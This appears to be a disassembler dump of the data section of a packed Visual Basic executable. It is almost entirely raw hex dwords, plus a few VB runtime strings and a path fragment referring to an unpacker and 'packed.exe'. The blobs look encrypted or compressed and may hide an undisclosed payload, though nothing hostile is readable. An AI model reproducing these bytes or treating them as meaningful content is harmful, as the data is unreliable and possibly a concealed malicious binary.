		dd 5D34ED63h, 836CE2BBh, 37BF174h, 433BB1B4h, 5295F3A9h
		dd 528EBC1Ah, 4206FC81h, 18271B22h, 43BD195Dh, 0C3696580h
		dd 765CF01Fh, 27809F0h,	0F4A4AA84h, 69362185h, 8E2241E7h
		dd 0E1A0BCB2h, 2EC938C7h, 5298F6D0h, 2CA74B36h,	0E6AA552Bh
		dd 1127h, 9B51C000h, 5ABF4EACh,	95F17432h, 202F8B77h, 37B41D62h
		dd 0D42AAD5Fh, 6D8F50FAh, 760FB11h, 0A2DA9D8Fh,	3DBD0624h
		dd 0D410AB41h, 708F50FAh, 863F416h, 56199C8Eh, 0BB53E689h
		dd 4, 835BDE01h, 348704EEh, 0F5685C24h,	89000006h, 0A4682434h
		dd 89000020h, 0BA52240Ch, 28403027h, 881E281h, 0F2812293h
		dd 261105E8h, 24348152h, 48BD39E9h, 0E9F6815Eh,	5A48BD39h
		dd 240C8B54h, 4C481h, 52560000h, 144C4BBAh, 24540161h
		dd 418F5A04h, 8698108h,	61144C4Bh, 53240C8Bh, 0C381E389h
		dd 4, 8704C383h, 8B5C241Ch, 89532434h, 4C381E3h, 81000000h
		dd 4C3h, 241C8700h, 2DFBE95Ch, 82B0FFFBh, 9E697400h
		dd 756C787Ch, 14A7B8E3h, 0C5030611h, 51DE0FFh, 707270h
		dd 7BF2344Fh, 0DA15134Fh, 0ECB47EACh, 91442888h, 15902C4Ah
		dd 668F77B1h, 6BED7B6Dh, 22C23228h, 0BD825CD2h,	156A0FE6h
		dd 0C4F30885h, 645651F9h, 314A548Bh, 0CB1C1AFEh, 44494C8Dh
		dd 0D6A20260h, 8C53197Eh, 0BEEC24BEh, 5CE95FA3h, 0C5000001h
		dd 4377E705h, 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h
		dd 2E64656Bh, 657865h, 3Ah dup(0)
		db    0
		db 2 dup(0), 33h
aCannotFindS_Pl	db 'Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		db 6Fh
		dd 0E97117DFh, 1B1Eh, 11190C68h, 6829E906h, 0C68FFFAh
		dd 0E906111Ah, 0FFFA681Fh, 111B2D68h, 6815E906h, 0D368FFFAh
		dd 0E906111Bh, 0FFFA680Bh, 111C1268h, 6801E906h, 0D368FFFAh
		dd 0E906111Ch, 0FFFA67F7h, 111D2B68h, 67EDE906h, 8768FFFAh
		dd 0E906111Dh, 0FFFA67E3h, 1123DC68h, 67D9E906h, 4F68FFFAh
		dd 0E9061124h, 0FFFA67CFh, 11252C68h, 67C5E906h, 0F768FFFAh
		dd 0E9061125h, 0FFFA67BBh, 11266268h, 67B1E906h, 5668FFFAh
		dd 0E9061127h, 0FFFA67A7h, 1127EE68h, 679DE906h, 0A268FFFAh
		dd 0E9061128h, 0FFFA6793h, 112EE568h, 6789E906h, 0F468FFFAh
		dd 0E906112Fh, 0FFFA677Fh, 1130C868h, 6775E906h, 0A1CFFFAh
		dd 0B0C72033h, 66B55281h, 71F886Bh, 0B6CA3B38h,	86ED548Fh
		dd 31221D67h, 61F2CFD4h, 9E457084h, 0CA292471h,	0C7832BC1h
		dd 48C5850Ah, 0D5DE03F9h, 4CE072F8h, 0C3941D38h, 0B59D4B8Fh
		dd 5D86B3C4h, 592D41D3h, 2EC3941Dh, 1A623AD4h, 0CE53DB01h
		dd 7F4260E6h, 0DE24D11Bh, 113F13E7h, 0E4592939h, 148C3A60h
		dd 5CA6399h, 46E72C35h,	1000000h, 0E4760D6Fh, 6CDDE039h
		dd 675B2F16h, 2E8F27C9h, 1FBD9F05h, 1885573Bh, 3C4B320Fh
		dd 7313E30Dh, 0A63A60CBh, 56BCCB3Ah, 9F83E121h,	5882E605h
		dd 603EB0D4h, 25C3373Ah, 5F8E0283h, 4A2C3514h, 0D0h, 0F8D5DE92h
		dd 605FA514h, 4C5F4E9Ch, 297AD37Dh, 73A2A81Ch, 0FBA21629h
		dd 0D72B9FA2h, 0AFF855F3h, 0E1DD4192h, 78C39419h, 47C1122Fh
		dd 8E724F56h, 64B19C4Ah, 0F785E569h, 6376FE6Ch,	0C44260FFh
		dd 633965FEh, 0F09A12D8h, 4B446D5Eh, 0AA5BE577h, 0A5996D54h
		dd 0F4C5D4h, 0D12B22CCh, 4DF27CEEh, 0AB7C9E48h,	6662E240h
		dd 0E9307311h, 92796691h, 0ADA7665Bh, 0FD07E083h, 83D4B034h
		dd 0BC5B3073h, 6881F513h, 0A79BFFEAh, 6ACCFAA8h, 0B609F98Ch
		dd 187Ah, 6A89C0D2h, 845F6ABDh,	3221186Bh, 6DF6CDD5h, 9E457880h
		dd 0C7DD3027h, 758A7BF8h, 2A7AAB48h, 0D227C013h, 5D8F7CE7h
		dd 8504BDC9h, 0DD4332C5h, 296EDADEh, 0C2233014h, 0B95F84B1h
		dd 84150BDh, 0A5BEDEDEh, 139B25B7h, 0C3941D77h,	196693B8h
		dd 13EC3DADh, 0C475012Fh, 0A9BD9F15h, 0CD5FED51h, 60FB2D59h
		dd 6E5BAC3Ah, 0DFE63C91h, 350C12FBh, 13E30D41h,	3A60FB73h
		dd 19F3F2A6h, 2C35D6F0h, 0CAD9h, 0D5DE2700h, 5FA514F8h
		dd 78549C60h, 0C1C39419h, 0CFF60CB4h, 8A9F08EBh, 0C9D3CBBFh
		dd 3104A8B2h, 364260FFh, 354717CCh, 20B23C2Eh, 60CCF88Ch
		dd 0FE8A223Ah, 713A60CCh, 9AB48E09h, 6D5CB3CAh,	0E9FA6144h
		dd 8567F305h, 7493709Eh, 71CF05EDh, 0AEBC9058h,	95A8F11Ch
		dd 0B78E927Bh, 0F7BB20ACh, 46DDA5E1h, 0E5761B24h, 0DC908526h
		dd 0FEC1DB32h, 6A522371h, 857AC88Ch, 177Ah, 6A89C0D2h
		dd 845F6ABDh, 3221186Bh, 6DF6CDD5h, 9E457880h, 0C7DD3027h
		dd 758A7BF8h, 2A7AAB48h, 0D227C013h, 5D8F7CE7h,	8507BDC9h
		dd 0DD4332C5h, 71FBDADEh, 3DF249CAh, 0B624D3EEh, 4023CD55h
		dd 0FC6752A7h, 3A4EE670h, 8DC394D2h, 0DEA59BB5h, 0BC146DD5h
		dd 95E95D68h, 1E8F5DB1h, 0A7502419h, 4F72F44Ah,	0B452B62Dh
		dd 0AD98ED5Ch, 0DA0300BFh, 9F3C58D9h, 34EB9860h, 26C0F499h
		dd 0C1D2C34Dh, 7DCC00F4h, 57AB1F2Ah, 8C97E5B9h,	6D5CAF5Eh
		dd 8529C3h, 5BD9F7Ch, 0B9FE2F3Dh, 23DC3084h, 0BFC8D3CCh
		dd 0D830DED7h, 61937808h, 0F6F7AD3Ah, 359AEB02h, 0A8C62Ch
		dd 462E0000h, 0C65D3F2Bh, 0A39EE914h, 0A34DFBDFh, 4E1CAA11h
		dd 922A43A8h, 0DBA5E074h, 50AABD9Fh, 0C145F77Fh, 39909FBh
		dd 1362668Eh, 9DE5E6CFh, 89EDD82Ch, 22EECB63h, 7B5F98C4h
		dd 0EB059797h, 0FADEA29Dh, 0E688FC70h, 3B1FDCDBh, 0E99115C7h
		dd 46A2D629h, 0EA3FEE7Ch, 9EEB04DFh, 0B0FAA4A3h, 19E96710h
		dd 1659A6h, 0A8A7F300h,	7E4B5A4Bh, 0C0F908E5h, 95ACF213h
		dd 645BA14Eh, 0FA1158FFh, 0AB449FA6h, 1BF46F52h, 0C421320Dh
		dd 0AC5D86B3h, 65C28BCh, 64D3C585h, 0F8D5DEFCh,	0F3881414h
		dd 0D40C569h, 0FDC5BD9Fh, 50BD9E66h, 0EDD8764Bh, 8992EAD6h
		dd 5FECB63h, 0B4FBD9Fh,	8A84D214h, 498C548h, 1A68BAA4h
		dd 0C73B3BB4h, 91A8B15h, 5742123Ch, 0D8CF5426h,	7E1E1EE2h
		dd 97FF77E5h, 68D12625h, 0CADDC812h, 6E9F51FFh,	0D3C22825h
		dd 0C2068AC5h, 0AD11287Bh, 0A824BF69h, 0F11F2A7Dh, 313E0B1Ch
		dd 19A0B28Fh, 0B3E9AEA4h, 0D000015h, 0F411C2F9h, 0A24390A1h
		dd 0CF97A57h, 0FB14CFF6h, 0FE459EA1h, 310C14F7h, 81BCC522h
		dd 5463B552h, 38151E8Fh, 921AD63Bh, 0C58506F6h,	0DE128A79h
		dd 5B6FF8D5h, 0E880522Ch, 1574A51Ah, 0BACC0000h, 60B75083h
		dd 16658251h, 0B7CF383Bh, 66BA6B88h, 363D845Fh,	61F2CDD7h
		dd 91427F84h, 0CE152074h, 7AF9D421h, 0B7D35B91h, 38C58501h
		dd 0D5DED349h, 0A529146Dh, 7DD8D661h, 0A6452FDCh, 0CF6CFE42h
		dd 8B72A93Ah, 4854F27Ch, 0A93D2F34h, 0BD9FF470h, 196EF5CDh
		dd 162D4F99h, 0CD65A0C4h, 90EA446Ah, 0E9435B4Ah, 0FFD3A79Ah
		dd 0EA766D9Bh, 30DEE13Bh, 0D63576A4h, 0DB3646DBh, 0D5F53753h
		dd 6E42B894h, 0C44D68FCh, 0D822EADEh, 2279E674h, 0E6D48A57h
		dd 0EBB10D3Bh, 0C3788A50h, 0D422F1A2h, 69FD2BC5h, 0ECAFB901h
		dd 0A75684FEh, 70FC6752h, 0AD5B7685h, 0ED7A57A0h, 352A3DCFh
		dd 0B341060Ch, 0D000014h, 0F411C2F9h, 0A24390A1h, 0CF97A57h
		dd 0FB14CFF6h, 0FE459EA1h, 310C14F7h, 81BCC522h, 5463B552h
		dd 38151E8Fh, 921AD63Bh, 0C58501F6h, 0A7128A79h, 0C3941D23h
		dd 942DB3D3h, 53A451C3h, 4C3CC866h, 0B43C6BDDh,	3C6BFDD4h
		dd 0FA754055h, 80524BECh, 5B443B0Fh, 0F5000014h, 5C49AAA1h
		dd 0AFB7849h, 0F411C2FFh, 0A34C97AEh, 46FD6659h, 99A4FC1Fh
		dd 6954AD5Ah, 3C0B1D8Ah, 80BDC627h, 2A42AE53h, 0C585005Eh
		dd 6FFA62D1h, 40E4760Dh, 0BD9F0059h, 0C18529BBh, 463A60CCh
		dd 9875D27Ch, 5A9B382h,	3A60CC41h, 4F98FCC6h, 865D5B59h
		dd 0FFE3A4AEh, 59000013h, 0ED764Dh, 0EE1FC4F5h,	58B5AEA3h
		dd 7E07342h, 0A211C2FDh, 6558A0BBh, 350811FEh, 98B7C12Eh
		dd 6C59AA5Bh, 4EE60AF7h, 0C585003Ah, 0DE463E8Dh, 0E2E60ED5h
		dd 65C3941Dh, 1D0743EBh, 0B288C394h, 27967A5Eh,	0E313E7D2h
		dd 45E41CA9h, 6C32400Dh, 38h, 340B11FCh, 7CE20C40h, 941D27A7h
		dd 605DA6C3h, 0CA796BF3h, 179FC3CEh, 3C309673h,	96711599h
		dd 8CF63C30h, 67EBCF33h, 137DA0h, 0BA32BC00h, 3C3096CEh
		dd 69CF7941h, 176DD5DEh, 0C60A428h, 71C60B8h, 0CC394BD5h
		dd 0D7989B4h, 82C3941Dh, 0DBC68EB8h, 0C1BD9F34h, 0F84B3FB7h
		dd 0E6DC3A60h, 6CF7CB48h, 0BD16A32h, 0CBBF869Ah, 1F9759F7h
		dd 446BC0EEh, 0C6B71B7Fh, 0C95D86BBh, 307DC6B8h, 832BEC3Bh
		dd 307DC6C7h, 0B4033246h, 5B806A4Eh, 61D48C08h,	0F56E98AFh
		dd 483C0D18h, 0D7BB96E1h, 799E2F69h, 92C9132Eh,	5854C058h
		dd 300D1229h, 0FA14084Ch, 0F56E9F79h, 0EF4C2629h, 0B2ED45D7h
		dd 0AA2FD9E5h, 1B8h, 760D6FB2h,	53AB5AE4h, 0B32C26Ch, 64BD9F26h
		dd 0D821CC1Eh, 16C74BE5h, 0C421320Fh, 343C80B1h, 3A60DB54h
		dd 2EB23361h, 5262A0B1h, 43870B42h, 0CCA595B4h,	0EDDC2B22h
		dd 0CF542876h, 7B20891Dh, 251D446Ah, 8CB1C637h,	7BB2D65Eh
		dd 0CD35307Dh, 3A7E2F23h, 0D324D11Bh
		dd 103E12E6h, 5362B657h, 67B05DEFh, 42786AB1h, 5799122h
		dd 23B35DB1h, 307DA0A1h, 3F454090h, 0A04D39ADh,	0F8C2307Dh
		dd 9AA5FF4Eh, 0FD59AC59h, 0D5299DA8h, 495C0DF1h, 202A9478h
		dd 0A06A1E96h, 0D1BD307Dh, 0CDD9C340h, 9A635720h, 0F0D4B885h
		dd 0A8515C56h, 5F76C5Dh, 262A4CE4h, 3FCDh, 0DADE2B00h
		dd 52A617FBh, 0E7219F63h, 32FB01E6h, 941DCEBAh,	97EC41C3h
		dd 8EE226AAh, 4D5540AAh, 34B88276h, 0C3941D50h,	5D8FE3D7h
		dd 941DBDC9h, 1EC832C3h, 0F092BB45h, 0C1BF3240h, 59000000h
		dd 0E4760D6Fh, 9EFF1140h, 0D0A49EBDh, 1074F80Ah, 973A60CFh
		dd 7D8885A3h, 2F76974Ch, 0A8FFAE12h, 494B3599h,	8D8734BCh
		dd 0D66E3701h, 7B8A83ADh, 0C26B954Eh, 0EF2C3587h, 74h
		dd 0BB33BD09h, 0C3941DCFh, 0F0CC7A40h, 204496A9h, 0C3941DF4h
		dd 0D5578416h, 313CDFD7h, 0C5CFBB4Bh, 7A40C394h, 9BB58493h
		dd 72F246BCh, 0C394C612h, 6B830DDFh, 0C394CA1Fh, 13FE7190h
		dd 5D031EB6h, 0D8D5CF79h, 665DA550h, 0C90BE92h,	0F600EA6Dh
		dd 78C1F007h, 56AA1E23h, 16082CB8h, 1B7FC394h, 59A14CD8h
		dd 87CF07Ah, 9FC39417h,	11968DBBh, 3E000000h, 53C8h, 129A2400h
		dd 0C3941D76h, 0F16781F9h, 0CFBB33BDh, 40C3941Dh, 3241CC7Ah
		dd 0B3C2AB1Fh, 5CA95486h, 8FB99D61h, 48EC3BD4h,	45B90D30h
		dd 2195A0F4h, 0E50589EDh, 2B3B8F98h, 0C56B4F64h, 1098158Fh
		dd 1D1A6E86h, 95EDC394h, 0F168817Bh, 6B413240h,	0AF00000Bh
		dd 764B50BDh, 0A9477287h, 0BFF8815h, 4B3FB7C1h,	0DCC3941Dh
		dd 77BC48E6h, 923B3F08h, 0DC0D8706h, 0F5A894D8h, 32h, 0E40E6F13h
		dd 6FDEA29Fh, 61A52918h, 5964BC0Dh, 0B7FF765h, 9CC3941Dh
		dd 9412D2A6h, 0D1AE761h, 4BE21697h, 7188CD23h, 0AB457084h
		dd 1F0D6h, 33BD3E00h, 941DCFBBh, 0C64B00C3h, 6D6B1E41h
		dd 3E7EA892h, 0EB1AC05Fh, 9187A198h, 0D5DEBCA4h, 0D04806F8h
		dd 40050CCDh, 38D3237h,	2F66B96Ch, 21E67B95h, 0E000000h
		dd 9F710E6Fh, 1D5829BDh, 0EDD5C394h, 4A878E7Fh,	47BDA69Ch
		dd 18FED3DEh, 3FC8857Bh, 50000000h, 9F710E6Fh, 94450BDh
		dd 4B3FB785h, 0DCC3941Dh, 8A6482E6h, 941D6362h,	0F1481C3h
		dd 0CD0A4E32h, 25C5B3EFh, 1992BCF7h, 778273F9h,	0BDB6AC5Ah
		dd 0FED3DE47h, 4550BD18h, 0A24C8074h, 2BA7080Eh, 0B204A3B8h
		dd 638C576Eh, 0C4313B16h, 9C6781BCh, 0DD162973h, 5B404D97h
		dd 0B31C734Eh, 0F7986B66h, 18958F9Ch, 0B4ABA6F3h, 0F2961EA8h
		dd 75835B84h, 196AE30Dh, 0D226272Ch, 5B847E0Fh,	618BCF83h
		dd 0D98C6EB4h, 3B3AEBA3h, 0B5897D51h, 5E98C89Bh, 605DA64Fh
		dd 0C3FE0BFAh, 0F6ED1B7Fh, 0B23AF309h, 835B13D6h, 0DF0D6159h
		dd 0ACD5F060h, 0D6707A19h, 2873E872h, 0FC278457h, 572590BEh
		dd 6EFFE3Ah, 0F710C3F2h, 3B4597A2h, 5B30D7B3h, 0C4625883h
		dd 1BCED233h, 835B306Ah, 0D5549FE3h, 98ED1293h,	0B0C54AADh
		dd 47194E85h, 0FD22A3E1h, 0D5BA9DA8h, 917EF5C0h, 0E9BFB48Bh
		dd 5160B667h, 0BF0FDB7h, 74ECC3FEh, 6F8D5DEh, 0A6FBCA4h
		dd 0D0489375h, 40050CCDh, 2F2537h, 6FC30000h, 0BD93750Ah
		dd 941D5829h, 0BEDD5C3h, 0DA133BDh, 0C3941D79h,	0E45AF4CEh
		dd 9C9F1EBDh, 7DF10635h, 1E2B7AD3h, 0C8857BB8h,	3Bh, 0E00A6F50h
		dd 0F2D6BA97h, 29BD389Eh, 0C3941D58h, 0BDA71979h, 790DA133h
		dd 0CEC3941Dh, 0DEE45AF4h, 7B04FAD7h, 36F104F1h, 941DCABEh
		dd 1655DC3h, 0DBE59BDh,	7BD69F1Bh, 0A705FB15h, 0C3941E99h
		dd 58E7DE24h, 10A551FFh, 940B6F71h, 0FFFFFDB8h,	1D27A73Ch
		dd 96C5C394h, 4EEF2ACDh, 0B93BD74h, 377E0E72h, 0D1731D36h
		dd 0C3078BC6h, 9DE97DEFh, 12C394C7h, 0FE2F3428h, 0A03945B3h
		dd 2F6CDD5h, 0C72D31CEh, 3F2785Ch, 2C74C5F4h, 0C913F711h
		dd 9FDC8DCh, 73E4435h, 25B15FB3h, 0C3947BA1h, 1DE1DC28h
		dd 0E46859ACh, 0D0AA3B79h, 0B95E6F25h, 638C576Ah, 88372514h
		dd 0D5E2C3DAh, 447B8101h, 8EB89CF0h, 6FF089D5h,	0FEA519Bh
		dd 0EE9DBDC8h, 97AA3AD4h, 0B281C1DAh, 0FC2DE7E6h, 0C2EFE9EFh
		dd 78BC6D3h, 0FA5C25C3h, 0CC000001h, 0F65E2A42h, 7CD17E3Dh
		dd 52B61A27h, 0BD6AD07Eh, 0DB754850h, 941D7A0Bh, 2B304CC3h
		dd 2CB4ADC1h, 0B189BD9Fh, 1B3645A2h, 0E4D524D1h, 17C64Ah
		dd 899C4D31h, 0C8D4D4B8h, 54C26868h, 64588E21h,	0E4BB7EF6h
		dd 360C446Bh, 68759939h, 9768DA8Ch, 0DAAh, 1AD9F002h, 0B4AF9AEDh
		dd 0E271485Bh, 1DC6FD05h, 4E95A8F0h, 0F70DE0F7h, 0A5FA2BC8h
		dd 5AAA5B98h, 217F063h,	0DDF2C37h, 853EED99h, 2D9362C5h
		dd 14F8D5DEh, 69F38814h, 8526A7C5h, 8D228BDh, 0A0B38E9Dh
		dd 8B903447h, 83BEC7B6h, 2172DBAFh, 3448A014h, 21B33D2Fh
		dd 7AF4F98Dh, 0DA744E3Ah, 71C2AB0Ah, 0B1BE8444h, 8C6E5753h
		dd 3715EA58h, 9100000Dh, 78954E85h, 26C71C2Dh, 907DE6DBh
		dd 7FA84B8Ah, 7AD91A25h, 0BD809873h, 0D3049A6h,	0D0EF39D6h
		dd 0A491E203h, 169E52BFh, 0C5853972h, 0DE9E06F5h, 0CD72F8D5h
		dd 0AF643850h, 0D8ACC05Eh, 0AFC394CFh, 41E5776Bh, 0C394CF05h
		dd 0B296B08Ah, 0D319227Ah, 9E2B225Bh, 9547BBBDh, 0B3E7E30Bh
		dd 12683A61h, 3F7B9DE5h, 6D9B854Ch, 3D081D8Ah, 0E9247826h
		dd 61B10145h, 58BC863Ah, 8A471A92h, 6BF54470h, 945C69BAh
		dd 307088F0h, 66E50377h, 51BCCE1Ch, 6FDE0847h, 0D9362D1Ch
		dd 0B865F7CAh, 95E95D60h, 1645977Bh, 85ECECC8h,	0CB42ECD6h
		dd 2D3F83BEh, 327F0BA3h, 8AF03070h, 273C405Ch, 5ABCC835h
		dd 0E397E44Dh, 103E1267h, 2967D65Eh, 0F2C84E7Bh, 793D9975h
		dd 0E758AA92h, 0C5Ah, 4AA9A0F2h, 0E47F4A5Dh, 12C1F80Bh
		dd 4D96ADF5h, 0FE6558A0h, 0A7FD1047h, 55AA5B98h, 0A1A8B68h
		dd 0B2C72033h, 0BDAF5C87h, 85385D29h, 0FD63D2C5h, 14F8D5DEh
		dd 69F38814h, 9F1B24C5h, 8251A9BDh, 67B21265h, 4EA2E66Ah
		dd 0CB297895h, 8A15FCA7h, 469DF136h, 760D6FBEh,	1D6140E4h
		dd 94EEBD9Fh, 91EB1A20h, 94F480AEh, 413A611Dh, 8FBE5253h
		dd 0BA2C35F0h, 94h, 0FAD7DE42h,	0BA50A716h, 3F58CD8Ch
		dd 0A0244835h, 27C394E5h, 379BFFD3h, 0BD013046h, 0FD891DAFh
		dd 72C394E5h, 186FDE08h, 785C6DBCh, 5AE1BBFBh, 0E79D1C90h
		dd 0B352BD9Fh, 0CEA44708h, 3F4BE30Ch, 0B03A617Ch, 0F572564Ah
		dd 865CCAFBh, 8F7DD230h, 2900000Bh, 907DE6DDh, 7EAFB485h
		dd 28C51E33h, 9770E3D2h, 12A1B28Dh, 0D5E830CBh,	0A598E10Eh
		dd 84751BEh, 0DCE93AEBh, 0FE76FA07h, 0C585388Ah, 0DE36AE1Dh
		dd 8570FAD7h, 93F75B76h, 5B03F275h, 0AD000000h,	1C6FD7DEh
		dd 0F223C92Dh, 907896A3h, 0ED7F0498h, 6B62B263h, 0F185A3E7h
		dd 0BD9F0424h, 44B6B189h, 7F865D54h, 0B24348Bh,	6ABC0000h
		dd 10678053h, 0C6D53221h, 67BF688Bh, 166A9B58h,	668D342Fh
		dd 91427D87h, 0C1122F74h, 7EE5D024h, 0AA498491h, 67638B61h
		dd 0E8C5853Bh, 0D5DEA319h, 0B4C614F8h, 0B90D3049h, 1DF98D45h
		dd 744EC394h, 0DD2673DAh, 941D3D49h, 5448B2C3h,	3D445986h
		dd 8FA65890h, 0FB49E961h, 44C8F50Ah, 0EC4CC0DBh, 0E3C73BA8h
		dd 0AE626345h, 32401E7Fh, 0E04850BDh, 0F841A598h, 0E92D91ACh
		dd 234BA3Fh, 46420000h,	0D66D0F5Bh, 5A5E004h, 98C7BD9Fh
		dd 8196940Ch, 139183BCh, 22C13EE8h
		dd 61CACACAh, 0BB9CF02Fh, 0F7C538ABh, 55EE8E28h, 6F2A6F87h
		dd 49F6BBC2h, 4B4FBA45h, 8F8CBAF7h, 10E4D9DEh, 0E674D83Ch
		dd 39D7E237h, 0DE0C1765h, 7A59A14Ch, 4A8B296h, 0C3C52F40h
		dd 8155F3C7h, 0BDC8E0D9h, 0FFE6C56h, 0FB14CFFAh, 985493AEh
		dd 67860F77h, 0A302CE3h, 7E880000h, 24739C47h, 0D221CE15h
		dd 738B64FFh, 2276974Ch, 6A71C013h, 0ADB68993h,	0DD063B40h
		dd 0AE9E430h, 0A6BD889Dh, 6B1F9755h, 0FCC5853Ah, 0D7DE970Dh
		dd 861616FAh, 6CC76FFDh, 0FDBD8526h, 51A65785h,	0F776129Ah
		dd 14F93A7Ah, 0A4E320Fh, 0C4213216h, 0EE0417BFh, 3B109FBh
		dd 0B2067A38h, 66F07A5Eh, 7AE7BACEh, 1B350D3Ah,	9EA5F737h
		dd 255D84Ch, 16874470h,	0B4F3302h, 0A6407D82h, 1A8B51A9h
		dd 0CA3B3805h, 550488B5h, 1CFA7540h, 0DF8C6E56h, 998946Bh
		dd 0E6300000h, 8C9B74EFh, 3A49A6BDh, 0EB33DC07h, 9A9E0FD4h
		dd 0D219B8BBh, 5DEE13Bh, 0B5AE93E8h, 0E2714C58h, 1EC5F005h
		dd 93F77FEDh, 14C5853Ah, 0D5A13FA5h, 0C3941DB9h, 394FF700h
		dd 6246BA0Eh, 0EBD62F9Eh, 0FA0B2D67h, 0AE3F7580h, 5AE1BBFBh
		dd 0F8911C90h, 0DACBBD9Eh, 0F14EF8C5h, 6AD16389h, 9D99EA2Bh
		dd 0E60EDC0Dh, 3A605EE2h, 1AF31D65h, 7521320Fh,	0BCCE1C27h
		dd 605E5C28h, 41EFD33Ah, 3A7E07AFh, 10A2446Dh, 7280E89Ch
		dd 0ED1B7F30h, 0AD76816Eh, 72804D39h, 84F8C230h, 6CD0EF35h
		dd 0F7263428h, 0A34C97A2h, 2CEC7B56h, 0A38C6B8Fh, 8E4E0A7h
		dd 2A7C0000h, 0D027C013h, 869572E1h, 277FA84Bh,	0D62ADB18h
		dd 0A6CD74EFh, 0D1023D47h, 1D2EF34h, 0BEA590E4h, 0EA094451h
		dd 27A3CB21h, 0A8C58535h, 27A763D9h, 0A6C3941Dh, 68FA605Dh
		dd 941D80C4h, 0C2F109C3h, 0BE839875h, 248CBD5Ah, 0F7DE7000h
		dd 0BCC09E59h, 2AD5EC32h, 9FA40CAh, 0C6140827h,	9E1F09AEh
		dd 0DA007ABDh, 71E2DD2Bh, 0C1B58094h, 8710Eh, 50BD9600h
		dd 0C3DB7548h, 34B8A2B9h, 0BD9F2C3Dh, 9022C832h, 60F1681Ch
		dd 6D9BFF3Ah, 0F13D4DE5h, 0C8E83A60h, 0DD26C73Dh, 92032C35h
		dd 0ED000001h, 0BFFD6DEh, 0FA605DA2h, 7DC1F80Bh, 0D11BEF19h
		dd 12E6D324h, 2440A0E5h, 1656B1Eh, 0FB1D66E7h, 6068DC3Ch
		dd 4993F759h, 188C475Ch, 0C394B26Ch, 0D7BB9FE3h, 0CFD55F3h
		dd 854258F8h, 94B26561h, 0BC90EAC3h, 0F205F4C8h, 3B1F73C7h
		dd 8EB9CF38h, 839CE23Ah, 0B2C9D559h, 0E213C394h, 8C8BA59Ch
		dd 5D57C2B6h, 625DAB50h, 2D5143F8h, 24D3EE3Dh, 0B6A4B45Dh
		dd 946C4A3Eh, 4BE5DDC3h, 1E297FA8h, 2275A0AAh, 256DF917h
		dd 0D8C3946Dh, 0D024CDD8h, 0A1152870h, 6D77139Bh, 82F8C394h
		dd 1FA94AAEh, 0DCE53AA0h, 0A35FF8C9h, 7844E223h, 22D31926h
		dd 3216FAD7h, 93C85A14h, 0EF747638h, 6CF8165Eh,	0C3940F10h
		dd 1D2F93E7h, 24A8A1F0h, 0BEC746E0h, 0F95F175h,	201AC394h
		dd 269517CCh, 12B61A0Eh, 0A9F84178h, 3EE82C90h,	1A1EB6CFh
		dd 1F73573Bh, 84B1C2ABh, 56470530h, 0D0D27C41h,	0FE104FD5h
		dd 0A9E1B646h, 61FEE18h, 0B6CF383Bh, 95E7078Bh,	0A1C85C8Eh
		dd 73BD9F96h, 0BA394DE1h, 0B48E3A61h, 9E45BD9Ah, 0A1152871h
		dd 65BF3549h, 70F4665Ah, 3A61BA18h, 6EDFA397h, 0F6A72B2Ah
		dd 22289CA1h, 61BAFE8Ah, 3409713Ah, 90ADE1ECh, 176C9510h
		dd 2DBFC92Ah, 4898B1C0h, 3A61BA3Ch, 0ACA14FB3h,	17A2B157h
		dd 0D446A51Ah, 3A9AEE06h, 156D3A61h, 4F2D4D31h,	0C38E2634h
		dd 19446A0Eh, 0C63678Fh, 9EE4307Eh, 0B4AF9370h,	0E47F425Bh
		dd 11C2FD0Bh, 760D6FE3h, 345D40E4h, 0E8D2BD9Fh,	5762B564h
		dd 0A6F748Ch, 21A18175h, 0F4C3941Dh, 42EB21ACh,	6F3240F1h
		dd 2Dh,	0E81E5EFDh, 0DB779CB6h,	0D7DE372Dh, 0AADE16FAh
		dd 7FC3941Dh, 0F520A825h, 0EF2397A2h, 88B9CC41h, 0FEC3C36Bh
		dd 70D7C393h, 0FFFFFFBEh, 0F8D5DE98h, 6F65DB06h, 0B493750Ah
		dd 50CCD4Ch, 0A0323740h, 941D780Ch, 9FB2C1C0h, 552CDA20h
		dd 34h,	750A6FB3h, 5D29BD93h, 0D2C3941Dh, 50BD76E8h, 4C807445h
		dd 0B2BD32B3h, 0C866BEFFh, 0D7DEE026h, 0A428176Fh, 7BAA0C60h
		dd 66C885h, 0F9240000h,	8C729CA3h, 0CFBB33BDh, 0C3941Dh
		dd 0E2DB2001h, 54AE29B0h, 8097E2BAh, 625DAB5Ah,	968CBA9Eh
		dd 0E04850BDh, 0F544B891h, 0F37DABA6h, 941D0F7Bh, 0CB63EDC3h
		dd 0C3941DBFh, 931CCA30h, 47BD9177h, 0B4A50BDh,	0AC5A7782h
		dd 857B56A1h, 0CFBB33BDh, 4EC3941Dh, 47BB0F46h,	4F7582F8h
		dd 63859508h, 0B85E52FCh, 0AFED3DEh, 941DAEDAh,	0A42163C3h
		dd 0ABA6F11Ch, 4881907Dh, 172A73A2h, 4EE87EF9h,	4CC39421h
		dd 6BEFACD8h, 0FBDF233Ch, 0FFF44F04h, 0D7DEACFFh, 5F3D79FAh
		dd 0F79E16C4h, 48BD9F24h, 26A68E72h, 0F33A60E8h, 3DEC24A1h
		dd 32C3502h, 182886DCh,	764A3E03h, 6CA50DC9h, 143FC2h
		dd 0C8D90000h, 0Eh, 1D6B9A24h, 1DA62222h, 0D129C394h, 1EBDC137h
		dd 4FE7E2D2h, 0C3947F3Bh, 7589B68Ch, 0EF358416h, 0FE286CD0h
		dd 9745DEBEh, 0B28F9805h, 7301C094h, 51E3BD9Fh,	6150A9DDh
		dd 75C43E3Ah, 1CFB1520h, 0BF873426h, 0EDBD0564h, 77262AC4h
		dd 5CC21120h, 3A619955h, 0BEA590E4h, 0E2084751h, 0D7F2057Dh
		dd 8BA5DE36h, 1C06B587h, 379CA097h, 3E0B1AE3h, 32C9A510h
		dd 0B05DE7E6h, 37E66A67h, 2E62D6E1h, 0E7311CCAh, 899A0BE8h
		dd 24A6224Ah, 0D1293A61h, 8C9976FDh, 0A0F2B2B1h, 0BABFC25h
		dd 0F6E9CDFCh, 0BB33BD1Eh, 0C3941DCFh, 52CC7A40h, 31C004BBh
		dd 0D496h, 0F6F7E00h, 0D458EA70h, 0C3941DB0h, 2B7AC337h
		dd 0B856AA1Eh, 5829BD42h, 79C3941Dh, 33BB788Ch,	0C3941D57h
